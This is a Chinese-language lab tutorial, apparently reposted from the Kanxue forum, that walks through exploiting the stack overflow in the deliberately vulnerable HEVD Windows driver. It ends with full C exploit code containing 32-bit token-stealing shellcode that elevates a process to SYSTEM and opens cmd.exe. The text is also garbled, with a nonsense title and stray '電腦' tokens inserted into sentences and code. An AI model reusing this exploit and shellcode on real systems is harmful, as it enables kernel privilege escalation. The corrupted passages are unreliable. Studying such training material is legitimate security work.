![](https://img.51dongshi.com/20250105/wz/18503081952.jpg)
安bwin70xc000000e()這篇文章里,我們將瀏覽一個簡單的HEVD驅動漏洞 - 棧溢出。攻擊代碼將附在最后。首先,我們把驅動.sys文件加載到IDA里看看它的結構。你將會很慶幸我們的驅動里編譯時有符號表選項,這使得逆向簡單得多!逆向驅動在driver最開始被加載時,DriverEntry函數是driver的入口。它做了許多事情,比如說,創建IO設備和設置驅動路徑 -\\Device\\HackSysExtremeVulnerableDriver。這個函數接著設置IRP(I/O 申請數據包)handler(我覺得中文翻譯handle,handler太晦澀,具體可以看這個鏈接)- 這是我們最關心的部分。函數IrpDeviceIoCtlHandler 被分配給了 DriverObject MajorFunction 數列的第14個成員。這個函數包含一系列switch選項,這些選項將基于用戶在應用程序代碼中DeviceIoContrl調用時提供的IOCTL決定那個函數會被運行。我們關心的函數是StackOverflowIoctlHandler 的 handler。這個函數會在用戶使用IOCTL數為0x222003 ,調用DeviceIoControl時處理用戶的請求。在調用StackOverflowIoctlHandler 后,調用TriggerStackOverflow 函數前,會有一些設置。這其中包含以下代碼:你應該立刻就能發現這里應該有漏洞。因為這里有一個從 userBuffer 到 kernelBuffer (大小為2048 bytes)的 memcpy,并且這個size 大小是交由用戶通過userBufferSz 決定。所以我們要怎么利用這個漏洞攻擊呢?簡單。 我們只需要提供比kernelBuffer (大小為2048 bytes)更多的數據,然后再告訴memcpy 我們的數據大小(這里我們的數據是多大就寫多大)。驅動會memcpy 我們的數據到驅動內核棧,并且傻傻的幫我們覆蓋掉棧上的返回指針。漏洞找到了,那我們開始真正的攻擊吧!攻擊Handler我們設置一個斷點來看看攻擊是怎么運行的吧。首先我們在WinDbg里運行命令uf HEVD!TriggerStackOverflow 來得到現在TriggerStackOverflow 函數在加載后的HEVD模塊的地址。這個地址會隨著每次開機而變化 - 因為 ASLR(一個通過每次開機時隨機化系統library加載地址來防止攻擊者使用系統library的機制,很老的一個想法,但會讓攻擊者稍微麻煩一點).0: kd> uf HEVD!TriggerStackOverflowHEVD!TriggerStackOverflow [c:\hacksysextremevulnerabledriver\driver\stackoverflow.c @ 65]:65 a11a462a 680c080000 push 80Ch65 a11a462f 68d8211aa1 push offset HEVD!__safe_se_handler_table+0xc8 (a11a21d8)[...]92 a11a46be 83c430 add esp,30h94 a11a46c1 eb21 jmp HEVD!TriggerStackOverflow+0xba (a11a46e4)HEVD!TriggerStackOverflow+0xba [c:\hacksysextremevulnerabledriver\driver\stackoverflow.c @ 98]:98 a11a46e4 c745fcfeffffff mov dword ptr [ebp-4],0FFFFFFFEh100 a11a46eb 8bc7 mov eax,edi101 a11a46ed e867c9ffff call HEVD!__SEH_epilog4 (a11a1059)101 a11a46f2 c20800 ret 8現在我們想做的是找到找到最終ret函數相對于這個函數起始位置的位置。我們之所以要做這一步是因為我們想通過知道函數名字以及相對位置來找到我們想要的ret,這樣我們就不用再考慮ASLR了。0: kd> ? a11a46f2 - HEVD!TriggerStackOverflowEvaluate expression: 200 = 000000c8現在我們知道了ret相對于函數起始位置的位置是0xc8。我們可以設置新斷點:0: kd> bu HEVD!TriggerStackOverflow+c8現在我們通過輸入 g 恢復被攻擊虛擬機的運行,然后回到我們的被攻擊虛擬機接著寫我們的攻擊代碼!攻擊代碼編寫為了與驅動通信,我們要給他寫個handler。我們可以通過使用CreateFile打開物理驅動路徑(在DriverEntry 函數中的DestinationString)。和平常一樣,先查查看這個函數的文檔來看看參數都是用來干嘛的。接下來我們需要分配一個用于給驅動memcpy 數據的緩存。我們可以使用VirtualAlloc。我給了這個緩存一個page。(注意這里給緩存上設置了運行和寫權限,因為內核最后會執行這個緩存上的shell code)。(shell code就是些2進制碼,每個程序編譯到最后都是二進制碼,而計算機cpu能運行的其實到最后也就是二進制碼。這個文章中的shellcode的用處就是提升當前進程的權限到系統權限)現在我們先給這個緩存區放滿A試試。RtlFillMemory(uBuffer, PAGE_SIZE, 0x41);最后我們想用DeviceIOControl 調用到驅動,這樣我們就能把緩存傳給驅動來觸發棧溢出!運行攻擊現在把這些整合到一起,編譯運行!我們可以看到斷點中斷了系統。漏洞名什么的被打印電腦了出來,這些是之前TriggerStackOverflow 里做的事情。并且中斷在了這個TriggerStackOverflow函數ret的那個點。我們可以看到 KernelBuffer Size 和 UserBuffer Size 都是我們想要的!是我們在 DeviceIoControl 調用里給的!當然我們已經造成了系統損傷。通過View->Memory 在WinDbg里打開棧。寫入寄存器esp里的地址,我們可以看到驅動即將要回到的地址。如果我們繼續讓進程運行,它將會崩潰,畢竟0x41414141地址里沒有東西。接下來我們就看看怎樣把將回到的地址改到我們想要的地方。在這里用一個常用的小技巧,debruijn sequence。用pwntools(CTF里的一個常用工具)產生下面這個數列(這里你也可以自己寫python script生成你喜歡的數列,Python挺好用的)。In [1]: cyclic(0x864)Out[1]: 'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaaza...'之后我們放這個數列到userBuffer里。char myStr[] = \"aaaabaaacaaada...avlaav\";RtlCopyMemory(uBuffer, 電腦 myStr, 0x864);這樣再運行一遍攻擊代碼,我們就知道在數列的哪個位置是將回的地址。In [2]: cyclic_find(0x75616175)Out[2]: 2080所以我們只要再前2080bytes里隨便放點東西,然后放我們想這個進程接著運行的地址。接著我們在那個地址放Shell code就好啦。最后一步我們要得要系統權限的shell。shell取得系統權限我們只要知道當這段 shellcode 被內核運行時,將會使當前運行的進程提權至系統相同的權限。如果我們用比win7更新的系統,將會有一個叫SMEP/SMAP 的機制擋在我們面前。這個機制會禁止內核運行用戶進程里的shellcode(通過page特征里的一個bit來來判斷這個page屬于用戶還是系統)。為了繞過這個機制,我們需要把shellcode放到內核的棧里(memcpy),然后跳到那里。但我們的win7并沒有這個機制,所以雖然簡單我就不麻煩寫那一步了。我們就把shellcode放到userBuffer里,然后跳過去就完了。成功以后,內核將會把當前進程提升到系統權限并從DeviceIoControl 調用中回到當前進程。然后我們的cmd.exe就是可以干一切事情啦!運行中。。。電腦擁有系統權限的shell!下面是最終的攻擊代碼:#include#include#include#include/*HEVD Windows Driver Exploit for the Stack Buffer OverflowWritten by glem - have fun :)*/#define PAGE_SIZE 4096#define SHELLCODE_LEN 61#define RET_OFFSET 2080#define STACK_IOCTL 0x222003#define DRIVER_PATH \"\\\\.\\HackSysExtremeVulnerableDriver\"void main() {/*HANDLE WINAPI CreateFile(_In_ LPCTSTR lpFileName,_In_ DWORD dwDesiredAccess,_In_ DWORD dwShareMode,_In_opt_ LPSECURITY_ATTRIBUTES lpSecurityAttributes,_In_ DWORD dwCreationDisposition,_In_ DWORD dwFlagsAndAttributes,_In_opt_ HANDLE 電腦 hTemplateFile);*/HANDLE device = CreateFileA(DRIVER_PATH,GENERIC_READ | GENERIC_WRITE,0,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,NULL);if (device == INVALID_HANDLE_VALUE) {printf(\"[!] Error opening the driver\n\");exit(1);}/*LPVOID WINAPI VirtualAlloc(_In_opt_ LPVOID lpAddress,_In_ SIZE_T dwSize,_In_ DWORD flAllocationType,_In_ DWORD flProtect);*/LPVOID uBuffer = VirtualAlloc(NULL,PAGE_SIZE,MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE);if (!uBuffer) {printf(\"Error allocating the user buffer\n\");exit(1);}printf(\"[~] uBuffer @ %p\n\", uBuffer);/*VOID RtlCopyMemory(_Out_ VOID UNALIGNED *Destination,_In_ const VOID UNALIGNED *Source,_In_ SIZE_T Length);*/char shellcode[] =/* --- Setup --- */\"\x60\" // pushad\"\x64\xA1\x24\x01\x00\x00\" // mov eax, fs:[KTHREAD_OFFSET]\"\x8B\x40\x50\" // mov eax, [eax + EPROCESS_OFFSET]\"\x89\xC1\" // mov ecx, eax (Current _EPROCESS structure)\"\x8B\x98\xF8\x00\x00\x00\" // mov ebx, [eax + TOKEN_OFFSET]/* --- Copy System token */\"\xBA\x04\x00\x00\x00\" // mov edx, 4 (SYSTEM PID)\"\x8B\x80\xB8\x00\x00\x00\" // mov eax, [eax + FLINK_OFFSET]\"\x2D\xB8\x00\x00\x00\" // sub eax, FLINK_OFFSET\"\x39\x90\xB4\x00\x00\x00\" // cmp [eax + PID_OFFSET], edx\"\x75\xED\" // jnz\"\x8B\x90\xF8\x00\x00\x00\" // mov edx, [eax + TOKEN_OFFSET]\"\x89\x91\xF8\x00\x00\x00\" // mov [ecx + TOKEN_OFFSET], edx/* --- Cleanup --- */\"\x61\" // popad\"\x31\xC0\" // NTSTATUS -> STATUS_SUCCESS\"\x5D\" // pop ebp\"\xC2\x08\x00\"; // ret 8RtlCopyMemory(uBuffer, shellcode, SHELLCODE_LEN);/* set return ptr to shellcode */uint32_t *ret_Addr = (uint32_t *) (uBuffer + RET_OFFSET);*ret_Addr = (uint32_t) uBuffer;printf(\"[~] retAddr offset @ %p\n\", ret_Addr);/*BOOL WINAPI DeviceIoControl(_In_ HANDLE hDevice,_In_ DWORD dwIoControlCode,_In_opt_ LPVOID lpInBuffer,_In_ DWORD nInBufferSize,_Out_opt_ LPVOID lpOutBuffer,_In_ DWORD nOutBufferSize,_Out_opt_ LPDWORD lpBytesReturned,_Inout_opt_ LPOVERLAPPED lpOverlapped);*/DWORD bytesRet;BOOL bof = DeviceIoControl(device, /* handler for open driver */STACK_IOCTL, /* IOCTL for the stack overflow */uBuffer, /* our user buffer with shellcode/retAddr */RET_OFFSET+4, /* want up to the offset + 4 (for the retAddr) sent */NULL, /* no buffer for the driver to write back to */0, /* above buffer of size 0 */&bytesRet, /* dump variable for byte returned */NULL); /* ignore overlap *//* check if the device IO sent fine! */if (!bof) {printf(\"[!] Error with DeviceIoControl\n\");exit(1);} else {printf(\"[*] Success!! Enjoy your shell!\n\");}/* pop a shell! */system(\"cmd.exe\");}下一篇文章會介紹介紹shellcode。然后我們會進行更復雜的驅動攻擊!本文由看雪論壇 wx_rd.cheung 原創 轉載請注明來自看雪社區電腦